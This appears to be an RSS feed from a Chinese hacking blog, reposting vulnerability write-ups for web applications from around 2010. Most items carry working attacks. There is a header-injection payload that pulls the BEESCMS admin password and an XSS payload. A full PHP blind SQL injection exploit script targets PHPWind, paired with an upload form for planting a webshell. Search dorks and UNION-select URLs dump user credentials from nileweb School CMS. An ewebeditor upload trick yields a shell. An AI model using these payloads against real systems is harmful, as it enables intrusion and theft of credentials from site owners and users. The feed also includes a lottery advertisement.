<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title><![CDATA[过客山庄]]></title>
<link>http://www.zrwebsite.cn/</link>
<description><![CDATA[专注网络安全]]></description>
<language>zh-cn</language>
<copyright><![CDATA[Copyright 2005 PBlog3 v2.8]]></copyright>
<webMaster><![CDATA[rik1688@vip.qq.com(☆°小行星)]]></webMaster>
<generator>PBlog2 v2.4</generator> 
<image>
	<title>过客山庄</title>
	<url>http://www.zrwebsite.cn/images/logos.gif</url>
	<link>http://www.zrwebsite.cn/</link>
	<description>过客山庄</description>
</image>

			<item>
			<link>http://www.zrwebsite.cn/article/news/124.htm</link>
			<title><![CDATA[中国黑客公约]]></title>
			<author>rik1688@vip.qq.com(王者星星)</author>
			<category><![CDATA[关注安全]]></category>
			<pubDate>Mon,13 Jun 2011 12:08:59 +0800</pubDate>
			<guid>http://www.zrwebsite.cn/default.asp?id=124</guid>
		<description><![CDATA[中国黑客元老龚蔚(goodwell) 9月推自律公约<br/><br/>收听地址<br/><a href="http://url.cn/2efz8X" target="_blank" rel="external">http://url.cn/2efz8X</a><br/><br/><br/><br/>黑阔自律公约#绿色兵团代表Goodwell、鹰派代表万涛、红盟代表Lion、knowNsec代表Liwrm、0x557代表Laowang、网络力量代表Coldface、风宁、红狼小组 代表Amxk、绿色兵团isbase站代表、Tools代表Oldjun、邪恶八进制代表冰雪封情及绿色兵团shutdown、Dis9 team代表blackrootkit。.<br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.zrwebsite.cn/article/bug/123.htm</link>
			<title><![CDATA[BEESCMS v1.1.0 getip()注射漏洞与XSS]]></title>
			<author>rik1688@vip.qq.com(王者星星)</author>
			<category><![CDATA[安全漏洞]]></category>
			<pubDate>Tue,26 Oct 2010 13:29:08 +0800</pubDate>
			<guid>http://www.zrwebsite.cn/default.asp?id=123</guid>
		<description><![CDATA[<p style="margin-left: 40px">发布日期：2010-10.25<br />
发布作者：子仪</p>
<p style="margin-left: 40px">影响版本：BEESCMS v1.1.0 <br />
官方地址：http://www.beescms.com</p>
<p style="margin-left: 40px"><a href="http://www.hackline.net/a/news/ldfb/">漏洞</a>类型：<a href="http://www.hackline.net/a/news/ldfb/web/">SQL注入</a>、<a href="http://www.hackline.net/a/news/ldfb/">XSS</a><br />
漏洞描述：BEES企业网站管理系统（以下称BEES）是一个基于PHP+Mysql架构的企业网站管理系统。BEES 采用模块化方式开发，功能强大灵活易于扩展，并且完全开放源代码，多种语言分站，为企业网站建设和外贸提供解决方案。</p>
<p style="margin-left: 40px">漏洞1：</p>
<pre><ol class="dp-xml"><li class="alt"><span><span>fun.php &nbsp;</span></span></li><li><span>function&nbsp;get_ip(){ &nbsp;</span></li><li class="alt"><span>if(!empty($_SERVER['HTTP_CLIENT_IP'])) &nbsp;</span></li><li><span>{ &nbsp;</span></li><li class="alt"><span>return&nbsp;$_SERVER['HTTP_CLIENT_IP']; &nbsp;</span></li><li><span>} &nbsp;</span></li><li class="alt"><span>elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))&nbsp;//这里可以伪造 &nbsp;</span></li><li><span>{ &nbsp;</span></li><li class="alt"><span>return&nbsp;$_SERVER['HTTP_X_FORWARDED_FOR']; &nbsp;</span></li><li><span>} &nbsp;</span></li><li class="alt"><span>else &nbsp;</span></li><li><span>{ &nbsp;</span></li><li class="alt"><span>return&nbsp;$_SERVER['REMOTE_ADDR']; &nbsp;</span></li><li><span>} &nbsp;</span></li><li class="alt"><span>} &nbsp;</span></li><li><span>&nbsp;</span></li><li class="alt"><span>reg.php &nbsp;</span></li><li><span>$</span><font color="#000000"><span class="attribute">ip</span><span>=</span><span class="attribute-value">get_ip</span><span>(); &nbsp;</span></font></li><li class="alt"><span>$</span><font color="#000000"><span class="attribute">sql</span><span>=</span><span class="attribute-value">&quot;update&nbsp;&quot;</span><span>.DB_PRE.&quot;member&nbsp;set&nbsp;</span><span class="attribute">member_time</span><span>=</span><span class="attribute-value">'{$addtime}'</span><span>,</span><span class="attribute">member_ip</span><span>=</span><span class="attribute-value">'{$ip}'</span><span>&nbsp;where&nbsp;</span><span class="attribute">id</span><span>={$last_id}&quot;; &nbsp;</span></font></li><li><span>&nbsp;</span></li></ol></pre>
<p style="margin-left: 40px"><br />
简单构造一下<span style="color: #ff0000">x_forwarded_for:127.0.0.1',member_qq = (select admin_password from bees_admin),member_phone = 'ziyi,</span>就把管理员密码射到你QQ号上了，过会发EXP。</p>
<p style="margin-left: 40px">&nbsp;</p>
<p style="margin-left: 40px"><strong>漏洞2：XSS</strong></p>
<p style="margin-left: 40px">同样是在注册页面，昵称没有过滤就入库，导致可以可以XSS。在昵称一栏填写&lt;script&gt;alert('子仪')&lt;/script&gt;，注册成功后，当管理员在后台打开会员管理就会触发我们的XSS代码，如图：</p>
<div><img border="0" alt="" src="http://www.zrwebsite.cn//uploads/allimg/101026/0R3302050-0.jpg" width="591" height="345" /></div>]]></description>
		</item>
		
			<item>
			<link>http://www.zrwebsite.cn/article/hack/122.htm</link>
			<title><![CDATA[警惕DZ论坛新的0day 临时修补方案]]></title>
			<author>rik1688@vip.qq.com(王者星星)</author>
			<category><![CDATA[黑客安全]]></category>
			<pubDate>Wed,06 Oct 2010 11:40:02 +0800</pubDate>
			<guid>http://www.zrwebsite.cn/default.asp?id=122</guid>
		<description><![CDATA[<p><a href="http://www.hackline.net/a/course/jbrq/2010/0930/5952.html" target="_blank">http://www.hackline.net/a/course/jbrq/2010/0930/5952.html</a><br />
discuz 6.x/7.x/x1通杀普通用户提升管理漏洞</p>
<p><br />
<br />
早在几日前就发布出dz 0day的消息，从动画可以看出是利用普通用户提升至管理员。影响范围从discuz 6.x/7.x到x1。目前DZ官方还未给出新的修补方案！<br />
<br />
为了您的论坛安全，本人建议先修改管理后台页面或者限制IP登录。<br />
<br />
1、在论坛根目录把admincp.php修改成新的文件名。<br />
<br />
2、进入后台，全局--注册与访问--访问控制 添加允许访问管理中心的 IP 列表（dz 7.x有这个选项）<br />
<br />
<br />
<br />
仅供参考！<br />
<br />
黑白前线--过客献上！</p>]]></description>
		</item>
		
			<item>
			<link>http://www.zrwebsite.cn/article/bug/121.htm</link>
			<title><![CDATA[Phpwind 注入漏洞以及利用之二：文件上传拿shell]]></title>
			<author>rik1688@vip.qq.com(王者星星)</author>
			<category><![CDATA[安全漏洞]]></category>
			<pubDate>Tue,05 Oct 2010 12:11:15 +0800</pubDate>
			<guid>http://www.zrwebsite.cn/default.asp?id=121</guid>
		<description><![CDATA[<p style="margin-left: 40px">发布日期：2010-10.04<br />
发布作者：oldjun</p>
<p style="margin-left: 40px">影响版本：phpwind<br />
官方地址：phpwind</p>
<p style="margin-left: 40px">漏洞类型：注入、上传漏洞<br />
漏洞描述：上传漏洞现在很难会出现的，更别说强大的pw了，所以很多朋友是不是认为我这个标题唬人了？不过还确实是上传漏洞，不过呢，这个漏洞的利用需要两个条件，所以说其实很鸡肋，但之前还是蛮好用的，只要满足条件，屡试不爽的。好了，先说条件：<br />
1.必须存在注入，可以注入出$db_siteid，因为前面那里发布的注入（以及其他某些地方的注入），可以轻松得到；<br />
2.必须是IIS6，这个是致命的鸡肋点，漏洞利用的是IIS6的文件解析漏洞（其实不用想也知道，无论dz、pw或者其他cms不会有允许上传php之类后缀文件的）。</p>
<p style="margin-left: 40px">由于官方已经在我上报不久一起补丁了，所以我相信应该有人已经通过分析补丁知道漏洞在哪儿了，好了，先看代码（文件是job.php，也很可能在其他可上传的文件中）：</p>
<pre><ol class="dp-xml"><li class="alt"><span><span>... &nbsp;</span></span></li><li><span>&nbsp;</span></li><li class="alt"><span>}&nbsp;elseif&nbsp;($</span><font color="#000000"><span class="attribute">action</span><span>&nbsp;==&nbsp;'uploadicon')&nbsp;{ &nbsp;</span></font></li><li><span>&nbsp;</span></li><li class="alt"><span>if&nbsp;(empty($_GET['step']))&nbsp;{ &nbsp;</span></li><li><span>&nbsp;</span></li><li class="alt"><span>list($db_upload,$db_imglen,$db_imgwidth,$db_imgsize)&nbsp;=&nbsp;explode(&quot;\t&quot;,$db_upload); &nbsp;</span></li><li><span>InitGP(array('uid','verify'));//可以控制的两个参数 &nbsp;</span></li><li class="alt"><span>$</span><font color="#000000"><span class="attribute">swfhash</span><span>&nbsp;=&nbsp;</span><span class="attribute-value">GetVerify</span><span>($uid); &nbsp;</span></font></li><li><span>checkVerify('swfhash');//这里很有趣 &nbsp;</span></li><li class="alt"><span>&nbsp;</span></li><li><span>require_once(R_P&nbsp;.&nbsp;'lib/upload/faceupload.class.php'); &nbsp;</span></li><li class="alt"><span>$</span><font color="#000000"><span class="attribute">face</span><span>&nbsp;=&nbsp;</span><span class="attribute-value">new</span><span>&nbsp;FaceUpload($uid); &nbsp;</span></font></li><li><span>PwUpload::upload($face); &nbsp;</span></li><li class="alt"><span>$</span><font color="#000000"><span class="attribute">uploaddb</span><span>&nbsp;=&nbsp;$face-</span><span class="tag">&gt;</span><span>getAttachs(); &nbsp;</span></font></li><li><span>&nbsp;</span></li><li class="alt"><span>echo&nbsp;$db_bbsurl.'/'.$attachpath.'/'.$uploaddb['fileuploadurl'].'?'.$timestamp;exit; &nbsp;</span></li><li><span>&nbsp;</span></li><li class="alt"><span>}&nbsp;else&nbsp;{ &nbsp;</span></li><li><span>&nbsp;</span></li><li class="alt"><span>...&nbsp; &nbsp;</span></li></ol></pre>
<p><br />
先来看看代码中我标注的有趣的地方，看能否绕过checkVerify('swfhash')。找找checkVerify函数：</p>
<pre><ol class="dp-xml"><li class="alt"><span><span>function&nbsp;checkVerify($</span><font color="#000000"><span class="attribute">hash</span><span>&nbsp;=&nbsp;</span><span class="attribute-value">'verifyhash'</span><span>)&nbsp;{ &nbsp;</span></font></span></li><li><span>GetGP('verify')&nbsp;</span><font color="#000000"><span class="tag">&lt;</span><span class="tag">&gt;</span><span>&nbsp;$GLOBALS[$hash]&nbsp;&amp;&amp;&nbsp;Showmsg('illegal_request');//看参数是啥了 &nbsp;</span></font></li><li class="alt"><span>}&nbsp;&nbsp;</span></li></ol></pre>
<p><br />
于是checkVerify('swfhash')其实就是检查$swfhash了，而$swfhash是通过GetVerify函数获得的，于是看看GetVerify函数：</p>
<pre><ol class="dp-xml"><li class="alt"><span><span>function&nbsp;GetVerify($str,$</span><font color="#000000"><span class="attribute">app</span><span>&nbsp;=&nbsp;</span><span class="attribute-value">null</span><span>)&nbsp;{ &nbsp;</span></font></span></li><li><span>empty($app)&nbsp;&amp;&amp;&nbsp;$</span><font color="#000000"><span class="attribute">app</span><span>&nbsp;=&nbsp;$GLOBALS['db_siteid'];//关键就是db_siteid了，而db_siteid可以通过注入获得 &nbsp;</span></font></li><li class="alt"><span>return&nbsp;substr(md5($str.$app.$GLOBALS['pwServer']['HTTP_USER_AGENT']),8,8); &nbsp;</span></li><li><span>}&nbsp;&nbsp;</span></li></ol></pre>
<p><br />
于是好办了，先通过注入获得db_siteid，然后获取自己的'HTTP_USER_AGENT'（直接构造也行），可以轻松绕过前面的限制，接着就直接看上传类了，$uid可以控制就可以自定义上传文件名了：</p>
<pre><ol class="dp-xml"><li class="alt"><span><font color="#000000"><span class="tag">&lt;?</span><span class="tag-name">php</span><span>&nbsp;</span></font></span></li><li><span>!defined('P_W')&nbsp;&amp;&amp;&nbsp;exit('Forbidden'); &nbsp;</span></li><li class="alt"><span>&nbsp;</span></li><li><span>require_once(R_P&nbsp;.&nbsp;'lib/upload.class.php'); &nbsp;</span></li><li class="alt"><span>&nbsp;</span></li><li><span>class&nbsp;FaceUpload&nbsp;extends&nbsp;uploadBehavior&nbsp;{ &nbsp;</span></li><li class="alt"><span>&nbsp;</span></li><li><span>var&nbsp;$db; &nbsp;</span></li><li class="alt"><span>var&nbsp;$uid; &nbsp;</span></li><li><span>var&nbsp;$attachs; &nbsp;</span></li><li class="alt"><span>&nbsp;</span></li><li><span>function&nbsp;FaceUpload($uid)&nbsp;{ &nbsp;</span></li><li class="alt"><span>global&nbsp;$db,$db_imgsize; &nbsp;</span></li><li><span>parent::uploadBehavior(); &nbsp;</span></li><li class="alt"><span>$this-</span><font color="#000000"><span class="tag">&gt;</span><span class="attribute">uid</span><span>&nbsp;=&nbsp;$uid;//这里没有int就悲剧了... &nbsp;</span></font></li><li><span>$this-</span><font color="#000000"><span class="tag">&gt;</span><span class="attribute">db</span><span>&nbsp;=&amp;&nbsp;$db; &nbsp;</span></font></li><li class="alt"><span>$this-</span><font color="#000000"><span class="tag">&gt;</span><span class="attribute">ifftp</span><span>&nbsp;=&nbsp;</span><span class="attribute-value">0</span><span>; &nbsp;</span></font></li><li><span>&nbsp;</span></li><li class="alt"><span>!$db_imgsize&nbsp;&amp;&amp;&nbsp;$</span><font color="#000000"><span class="attribute">db_imgsize</span><span>&nbsp;=&nbsp;</span><span class="attribute-value">1000</span><span>; &nbsp;</span></font></li><li><span>$this-</span><font color="#000000"><span class="tag">&gt;</span><span class="attribute">ftype</span><span>&nbsp;=&nbsp;</span><span class="attribute-value">array</span><span>( &nbsp;</span></font></li><li class="alt"><span>'gif'&nbsp;=</span><font color="#000000"><span class="tag">&gt;</span><span>&nbsp;$db_imgsize,&nbsp;'jpg'&nbsp;=</span><span class="tag">&gt;</span><span>&nbsp;$db_imgsize, &nbsp;</span></font></li><li><span>'jpeg'&nbsp;=</span><font color="#000000"><span class="tag">&gt;</span><span>&nbsp;$db_imgsize,&nbsp;'bmp'&nbsp;=</span><span class="tag">&gt;</span><span>&nbsp;$db_imgsize, &nbsp;</span></font></li><li class="alt"><span>'png'&nbsp;=</span><font color="#000000"><span class="tag">&gt;</span><span>&nbsp;$db_imgsize &nbsp;</span></font></li><li><span>); &nbsp;</span></li><li class="alt"><span>} &nbsp;</span></li><li><span>&nbsp;</span></li><li class="alt"><span>function&nbsp;allowType($key)&nbsp;{ &nbsp;</span></li><li><span>return&nbsp;true; &nbsp;</span></li><li class="alt"><span>} &nbsp;</span></li><li><span>&nbsp;</span></li><li class="alt"><span>function&nbsp;getFilePath($currUpload)&nbsp;{ &nbsp;</span></li><li><span>$</span><font color="#000000"><span class="attribute">filename</span><span>&nbsp;=&nbsp;$this-</span><span class="tag">&gt;</span><span>uid&nbsp;.&nbsp;'_tmp.'&nbsp;.&nbsp;$currUpload['ext']; &nbsp;</span></font></li><li class="alt"><span>$</span><font color="#000000"><span class="attribute">savedir</span><span>&nbsp;=&nbsp;</span><span class="attribute-value">'upload/'</span><span>&nbsp;.&nbsp;str_pad(substr($this-</span><span class="tag">&gt;</span><span>uid,-2),2,'0',STR_PAD_LEFT)&nbsp;.&nbsp;'/'; &nbsp;</span></font></li><li><span>return&nbsp;array($filename,&nbsp;$savedir,&nbsp;'',&nbsp;''); &nbsp;</span></li><li class="alt"><span>} &nbsp;</span></li><li><span>&nbsp;</span></li><li class="alt"><span>function&nbsp;update($uploaddb)&nbsp;{ &nbsp;</span></li><li><span>$this-</span><font color="#000000"><span class="tag">&gt;</span><span class="attribute">attachs</span><span>&nbsp;=&nbsp;$uploaddb; &nbsp;</span></font></li><li class="alt"><span>} &nbsp;</span></li><li><span>&nbsp;</span></li><li class="alt"><span>function&nbsp;getAttachs()&nbsp;{ &nbsp;</span></li><li><span>return&nbsp;current($this-</span><font color="#000000"><span class="tag">&gt;</span><span>attachs); &nbsp;</span></font></li><li class="alt"><span>} &nbsp;</span></li><li><span>} &nbsp;</span></li><li class="alt"><font color="#000000"><span class="tag">?&gt;</span><span>&nbsp; &nbsp;</span></font></li><li><span>&nbsp;</span></li></ol></pre>
<p>晚上写文章的时候，发现貌似phpwind今年3月份发布了针对这个漏洞的一个补丁的...但由于phpwind版本比较混乱，所以有的版本存在，有的版本不存在，然后9月6日的新版本已经都补丁上了~</p>
<p>好了，最后想说的是：其实有的时候，注入可以远远超过其本身的应用，哪怕有的时候不能update，哪怕有的时候密码破解不出来...（也许涉及后话）...</p>
<p>附一，上次那个注入漏洞获取db_siteid：</p>
<p>&nbsp;</p>
<p>
<table border="0" cellspacing="0" cellpadding="6" width="95%" align="center" style="border-bottom: #cccccc 1px dotted; border-left: #cccccc 1px dotted; table-layout: fixed; border-top: #cccccc 1px dotted; border-right: #cccccc 1px dotted">
    <tbody>
        <tr>
            <td bgcolor="#fdfddf" style="word-wrap: break-word"><font color="#ff0000">&lt;?<br />
            print_r('<br />
            --------------------------------------------------------------------------------<br />
            PHPWind v7.5 &quot;ajax&quot; SQL injection/db_siteid credentials disclosure exploit<br />
            BY oldjun(www.oldjun.com)<br />
            --------------------------------------------------------------------------------<br />
            ');
            <p>if ($argc&lt;3) {<br />
            print_r('<br />
            --------------------------------------------------------------------------------<br />
            Usage: php '.$argv[0].' host path<br />
            host: target server (ip/hostname),without&quot;http://&quot;<br />
            path: path to phpwind<br />
            Example:<br />
            php '.$argv[0].' localhost / <br />
            --------------------------------------------------------------------------------<br />
            ');<br />
            die;<br />
            }</p>
            <p>function getrand($i)<br />
            {<br />
            for($j=0;$j&lt;=$i-1;$j++)<br />
            {<br />
            srand((double)microtime()*1000000);<br />
            $randname=rand(!$j ? 1: 0,9);<br />
            $randnum.=$randname;<br />
            }<br />
            return $randnum;<br />
            }</p>
            <p>function sendpacketii($packet)<br />
            {<br />
            global $host, $html;<br />
            $ock=fsockopen(gethostbyname($host),'80');<br />
            if (!$ock) {<br />
            echo 'No response from '.$host; die;<br />
            }<br />
            fputs($ock,$packet);<br />
            $html='';<br />
            while (!feof($ock)) {<br />
            $html.=fgets($ock);<br />
            }<br />
            fclose($ock);<br />
            }</p>
            <p>$host=$argv[1];<br />
            $path=$argv[2];<br />
            $prefix=&quot;pw_&quot;;</p>
            <p>//modify cookie and agent<br />
            $cookie=&quot;e7edf_c_stamp=1284046856; cnzz_a2173231=5; sin2173231=none; rtime=0; ltime=1284047146468; cnzz_eid=78886253-1284032004-; e7edf_lastpos=other; e7edf_cknum=AAsNUQgKAQcABms%2FUVoCAFVWVwsCVggIUgNRU1BQDloCA1IDAwkEVwpcBQc%3D; e7edf_ol_offset=291; e7edf_ipstate=1284032143; e7edf_winduser=AAgGVTFYBQEGBlsPAVpUBAMDCVxQBg5dUFRWVAADBQFTBwUHAjA%3D; e7edf_ck_info=%2F%09; cnzz_user=oldjun; e7edf_lastvisit=22%091284046856%09%2Fpw_ajax.php%3Faction%3Djobpop%26nowtime%3D1284047153125%26verify%3D7abd84b0; e7edf_jobpop=1&quot;;<br />
            $useragent=&quot;Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Fuck GFW; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)&quot;;</p>
            <p>if (($path[0]&lt;&gt;'/') or ($path[strlen($path)-1]&lt;&gt;'/'))<br />
            {echo 'Error... check the path!'; die;}</p>
            <p>/*get $prefix*/<br />
            $packet =&quot;GET &quot;.$path.&quot;pw_ajax.php?action=pcdelimg&amp;pctype=topic&amp;id=1 HTTP/1.0\r\n&quot;;<br />
            $packet.=&quot;User-Agent: &quot;.$useragent.&quot;\r\n&quot;;<br />
            $packet.=&quot;Host: &quot;.$host.&quot;\r\n&quot;;<br />
            $packet.=&quot;Cookie: &quot;.$cookie.&quot;\r\n&quot;;<br />
            $packet.=&quot;Connection: Close\r\n\r\n&quot;;<br />
            sendpacketii($packet);<br />
            if (eregi(&quot;in your SQL syntax&quot;,$html))<br />
            {<br />
            $temp=explode(&quot;FROM &quot;,$html);<br />
            if(isset($temp[1])){$temp2=explode(&quot;topicvalue1&quot;,$temp[1]);}<br />
            if($temp2[0])<br />
            $prefix=$temp2[0];<br />
            echo &quot;[+]prefix -&gt; &quot;.$prefix.&quot;\n&quot;;<br />
            echo &quot;[~]exploting now,plz waiting\r\n&quot;;<br />
            }else{<br />
            die(&quot;Wrong path or not Login!!!\r\n&quot;.$html);<br />
            }</p>
            <p>/*get db_siteid*/<br />
            $chars[0]=0;//null<br />
            $chars=array_merge($chars,range(30,39)); //hex-numbers<br />
            $chars=array_merge($chars,range(61,66));//hex- a-f letters<br />
            $db_siteid=&quot;&quot;;$str=&quot;&quot;;$sql=&quot;&quot;;<br />
            while (strlen($db_siteid)&lt;32)<br />
            {<br />
            for ($i=30; $i&lt;=66; $i++)<br />
            {<br />
            if (in_array($i,$chars))<br />
            {<br />
            $sql=&quot;0x&quot;.$str.$i.&quot;25&quot;;<br />
            $packet =&quot;GET &quot;.$path.&quot;pw_ajax.php?action=pcdelimg&amp;fieldname=db_name/**/from/**/&quot;.$prefix.&quot;config/**/where/**/db_name/**/like/**/0x64625F736974656964/**/and/**/db_value/**/like/**/&quot;.$sql.&quot;/**/union/**/select/**/0x312E2E31%23&amp;id=1 HTTP/1.0\r\n&quot;;<br />
            $packet.=&quot;Host: &quot;.$host.&quot;\r\n&quot;;<br />
            $packet.=&quot;User-Agent: &quot;.$useragent.&quot;\r\n&quot;;<br />
            $packet.=&quot;Cookie: &quot;.$cookie.&quot;\r\n&quot;;<br />
            $packet.=&quot;Connection: Close\r\n\r\n&quot;;<br />
            sendpacketii($packet);<br />
            //die($html);<br />
            if (!eregi(&quot;fail&quot;,$html))<br />
            {<br />
            $str=$str.$i;<br />
            $db_siteid.=hex2asc($i);<br />
            echo&quot;[+]pwd:&quot;.$db_siteid.&quot;\r\n&quot;;break;}<br />
            }<br />
            if ($i==66) {die(&quot;Exploit failed...&quot;);}<br />
            }<br />
            }<br />
            print_r('<br />
            --------------------------------------------------------------------------------<br />
            [+]db_siteid -&gt; '.$db_siteid.'<br />
            --------------------------------------------------------------------------------<br />
            ');<br />
            function is_hash($hash)<br />
            {<br />
            if (ereg(&quot;^[a-f0-9]{32}&quot;,trim($hash))) {return true;}<br />
            else {return false;}<br />
            }<br />
            if (is_hash($db_siteid)) {echo &quot;Exploit succeeded...&quot;;}<br />
            else {echo &quot;Exploit failed...&quot;;}</p>
            <p>function hex2asc($str) {<br />
            $str = join('',explode('\x',$str));<br />
            $len = strlen($str);<br />
            for ($i=0;$i&lt;$len;$i+=2) $data.=chr(hexdec(substr($str,$i,2)));<br />
            return $data;<br />
            }<br />
            function asc2hex($str){<br />
            $hex=base_convert($str,10,16);<br />
            return strlen($hex)==2?$hex:&quot;0&quot;.$hex;<br />
            }<br />
            ?&gt;</p>
            <p>&nbsp;</p>
            </font><br />
            &nbsp;</td>
        </tr>
    </tbody>
</table>
</p>
<p>&nbsp;</p>
<p>附二：利用poc</p>
<p style="margin-left: 40px">先利用上面的注入exp获取$db_siteid，再运行：<br />
$verify=substr(md5($uid.$db_siteid.$GLOBALS['pwServer']['HTTP_USER_AGENT']),8,8)获取$verify<br />
替换下面的$verify：</p>
<p>&nbsp;</p>
<p>
<table border="0" cellspacing="0" cellpadding="6" width="95%" align="center" style="border-bottom: #cccccc 1px dotted; border-left: #cccccc 1px dotted; table-layout: fixed; border-top: #cccccc 1px dotted; border-right: #cccccc 1px dotted">
    <tbody>
        <tr>
            <td bgcolor="#fdfddf" style="word-wrap: break-word"><font color="#ff0000">&lt;form method=&quot;post&quot; action=&quot;http://127.0.0.1/pw/job.php?action=uploadicon&amp;verify=537f0b79&amp;uid=1.php;&quot; enctype=&quot;multipart/form-data&quot;&gt;<br />
            file:&lt;input type=&quot;file&quot; name=&quot;file1&quot; size=&quot;80&quot; /&gt;<br />
            &lt;input type=&quot;submit&quot; value=&quot;gogogo&quot;/&gt;&lt;/td&gt;<br />
            &lt;/form&gt;&nbsp;<br />
            </font></td>
        </tr>
    </tbody>
</table>
</p>]]></description>
		</item>
		
			<item>
			<link>http://www.zrwebsite.cn/article/bug/120.htm</link>
			<title><![CDATA[nileweb School CMS 注入漏洞]]></title>
			<author>rik1688@vip.qq.com(王者星星)</author>
			<category><![CDATA[安全漏洞]]></category>
			<pubDate>Sun,03 Oct 2010 19:47:07 +0800</pubDate>
			<guid>http://www.zrwebsite.cn/default.asp?id=120</guid>
		<description><![CDATA[<p style="margin-left: 40px">发布日期：2010-10.03<br />
发布作者：Mr.MaGMA</p>
<p style="margin-left: 40px">官方地址：<a href="http://www.nileweb.com">www.nileweb.com</a></p>
<p style="margin-left: 40px"><a href="http://www.hackline.net/a/news/ldfb/">漏洞</a>类型：<a href="http://www.hackline.net/a/news/ldfb/">SQL注入</a></p>
<p style="margin-left: 40px">漏洞描述：nileweb School CMS 程序index.php参数过滤不严存在注入漏洞。</p>
<p style="margin-left: 40px">D0rk : inurl:index.php?action=cms/<br />
&nbsp;</p>
<p style="margin-left: 40px">[+]example :localhost/index.php?action=cms/showpaget&amp;pageid=-21+/*!uniOn*/+select+1,2,3,4,5<br />
[+] localhost/index.php?action=cms/showpaget&amp;pageid=-21+/*!uniOn*/+select+1,convert(grOup_cOncat(username,0x3a,password) using latin1),3,4,5+frOm+users--</p>
<p style="margin-left: 40px"><br />
[+] IF NOT OK :<br />
[+] localhost/index.php?action=cms/showpaget&amp;pageid=-21+/*!uniOn*/+select+1,convert(grOup_cOncat(username,0x3a,password) using latin1),3,4,5,6+frOm+users--<br />
[+] adminpanel : localhost/admin.php</p>
<p style="margin-left: 40px">&nbsp;</p>]]></description>
		</item>
		
			<item>
			<link>http://www.zrwebsite.cn/article/119.htm</link>
			<title><![CDATA[好运期彩 期期精彩]]></title>
			<author>rik1688@vip.qq.com(王者星星)</author>
			<category><![CDATA[心情记录]]></category>
			<pubDate>Sun,03 Oct 2010 17:03:38 +0800</pubDate>
			<guid>http://www.zrwebsite.cn/default.asp?id=119</guid>
		<description><![CDATA[<p>好运期彩 期期精彩</p>
<p>&nbsp;</p>
<p>闲着没事，哥也学着研究下彩票。希望有朝一日也能中个啥玩意来着。</p>
<p><a href="http://www.7caiw.com/a/ssqyuce/">双色球预测</a> 、<a href="http://www.7caiw.com/a/3dyuce/">3D预测</a> 、<a href="http://www.7caiw.com/a/3dzimi/">3D字谜</a></p>
<p>&nbsp;</p>
<p>期彩网</p>
<p><a href="http://www.7caiw.com">http://www.7caiw.com</a></p>
<p>&nbsp;</p>]]></description>
		</item>
		
			<item>
			<link>http://www.zrwebsite.cn/article/hack/118.htm</link>
			<title><![CDATA[ewebeditor 5.5 - 6.0 鸡肋的上传漏洞]]></title>
			<author>rik1688@vip.qq.com(王者星星)</author>
			<category><![CDATA[黑客安全]]></category>
			<pubDate>Sat,25 Sep 2010 15:06:06 +0800</pubDate>
			<guid>http://www.zrwebsite.cn/default.asp?id=118</guid>
		<description><![CDATA[发布日期：2010-09.24<br/>发布作者：菜菜铅笔 <br/>影响版本：ewebeditor 5.5 - 6.0<br/>官方地址：www.ewebeditor.net<br/>漏洞类型：上传漏洞<br/>漏洞描述：action=savetype=image&amp;style=popup&amp;cusdir=a.asp 参数构造一个上传目录，利用IIS解析漏洞获取shell<br/><br/>漏洞测试：<br/>我们构造这样一个页面<br/><br/><a href="http://www.xxx.com/admin/ewebeditor/asp/upload.asp?action=save" target="_blank" rel="external">http://www.xxx.com/admin/ewebeditor/asp/upload.asp?action=save</a>&amp;type=image&amp;style=popup&amp;cusdir=a.asp<br/><br/>这样会在 网站目录下生产 a.asp这个文件、<br/><br/><br/>然后再本地构造html<br/> <br/><br/><br/>&lt;form action=&#34;<a href="http://www.xxx.com/admin/ewebeditor/asp/upload.asp?action=savetype=image" target="_blank" rel="external">http://www.xxx.com/admin/ewebeditor/asp/upload.asp?action=savetype=image</a>&amp;style=popup&amp;cusdir=a.asp&#34; method=post name=myform enctype=&#34;multipart/form-data&#34;&gt;<br/>&lt;input type=file name=uploadfile size=100&gt;&lt;br&gt;&lt;br&gt;<br/>&lt;input type=submit value=upload&gt;<br/>&lt;/form&gt; <br/> <br/><br/><br/><br/>上传的一句话（jpg格式）<br/><br/>然后菜刀链接。<br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.zrwebsite.cn/article/hack/117.htm</link>
			<title><![CDATA[ecshop后台超简单拿shell的方法]]></title>
			<author>rik1688@vip.qq.com(王者星星)</author>
			<category><![CDATA[黑客安全]]></category>
			<pubDate>Fri,24 Sep 2010 12:10:12 +0800</pubDate>
			<guid>http://www.zrwebsite.cn/default.asp?id=117</guid>
		<description><![CDATA[原文作者：龙心儿<br/><br/><br/>进入后台-系统设置-Flash播放器管理，图片上传经测试可以上传任意文件。<br/><br/> <br/><br/>黑白前线编辑点评：Flash播放器管理栏目图片上传任意文件导致漏洞产生。程序有待于继续完善！<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.zrwebsite.cn/article/bug/116.htm</link>
			<title><![CDATA[慧博商城系统V6.0注入漏洞分析]]></title>
			<author>rik1688@vip.qq.com(王者星星)</author>
			<category><![CDATA[安全漏洞]]></category>
			<pubDate>Fri,24 Sep 2010 12:07:22 +0800</pubDate>
			<guid>http://www.zrwebsite.cn/default.asp?id=116</guid>
